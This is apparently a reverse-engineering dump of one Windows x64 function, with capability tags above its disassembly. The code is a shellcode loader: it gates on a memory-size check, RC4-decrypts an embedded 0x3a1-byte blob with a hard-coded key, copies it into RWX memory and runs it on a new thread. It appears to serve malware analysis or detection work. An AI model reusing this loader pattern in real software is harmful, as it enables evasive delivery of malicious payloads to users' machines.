Function at 0x1400021f0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Encrypt data using rc4 ksa
Get common file path
Get memory capacity
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x750]
sub rsp, 0x850
mov rax, qword [0x140001068]
xor rax, rsp
mov qword [rbp + 0x740], rax
call fcn.140002040
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
movabs rax, 0x17ff53801
cmp qword [rsp + 0x38], rax
jb 0x14000269d
lea rdx, [rbp + 0x180]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rax, [rbp + 0x180]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x140002290
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x1400026e7
mov r14d, 7
mov qword [rsp + 0x48], r14
cmp rbx, 8
jae 0x1400022ef
mov qword [rsp + 0x40], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x30], r12w
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x30]
jmp 0x1400023a3
mov rax, rbx
or rax, r14
cmp rax, r15
jbe 0x14000230a
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000233c
mov r15, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400026e1
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002368
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400026e1
mov rcx, rax
call fcn.140002da0
test rax, rax
je 0x14000268c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000237a
test rcx, rcx
je 0x140002377
call fcn.140002da0
mov rsi, rax
jmp 0x14000237a
mov rsi, r12
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r15
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x180]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rsi], r12w
movabs rax, 0x31317265766572
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x390]
lea rax, [0x140001250]
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400023d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movzx eax, byte [rax + 0x20]
mov byte [rcx + 0x20], al
lea rax, [rsp + 0x70]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002440
mov ebx, r12d
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
mov r8d, r12d
mov r9, r12
nop word [rax + rax]
mov byte [rbp + r9 - 0x80], r8b
xor edx, edx
mov eax, r8d
div edi
movzx eax, byte [rsp + rdx + 0x70]
mov byte [rbp + r9 + 0x80], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x100
jl 0x140002470
mov rdx, r12
mov r9d, 0x100
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rbp + rdx - 0x80]
movzx eax, byte [rbp + rdx + 0x80]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400024d5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp - 0x80]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx - 0x80], al
mov byte [rcx], r8b
inc rdx
sub r9, 1
jne 0x1400024b0
mov rdi, r12
lea r13, [0x1400046a0]
nop dword [rax]
movzx ebx, byte [rbp + rdi - 0x80]
mov byte [rdi + r13], bl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002830
mov rcx, rax
lea rdx, [0x140002020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
call fcn.1400029e0
inc rdi
cmp rdi, 0x100
jl 0x140002500
lea rdx, [0x140002ba0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r12
movzx edi, byte [rbp - 0x7f]
nop
movzx edx, dil
movzx eax, byte [rbp + rdx - 0x80]
mov byte [rbp - 0x7f], al
mov byte [rbp + rdx - 0x80], dl
movzx edi, byte [rbp - 0x7f]
lea rcx, [rdx + rdi]
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x80]
xor byte [rbp + rbx + 0x390], cl
movzx edx, byte [rbp + rbx + 0x390]
lea rcx, [0x1400015f4]
call fcn.140001e00
inc rbx
cmp rbx, 0x3a1
jb 0x140002560
mov edx, 0x3a1
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov rcx, rax
lea rax, [rbp + 0x390]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x1400025d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movzx eax, byte [rax + 0x20]
mov byte [rcx + 0x20], al
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
cmp r15, 8
jb 0x1400026af
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002693
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002693
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140002ddc
jmp 0x1400026af
lea rcx, [0x140001600]
call fcn.140001e00
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rbp + 0x740]
xor rcx, rsp
call fcn.140002d80
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001f60
int3
call fcn.140002000
int3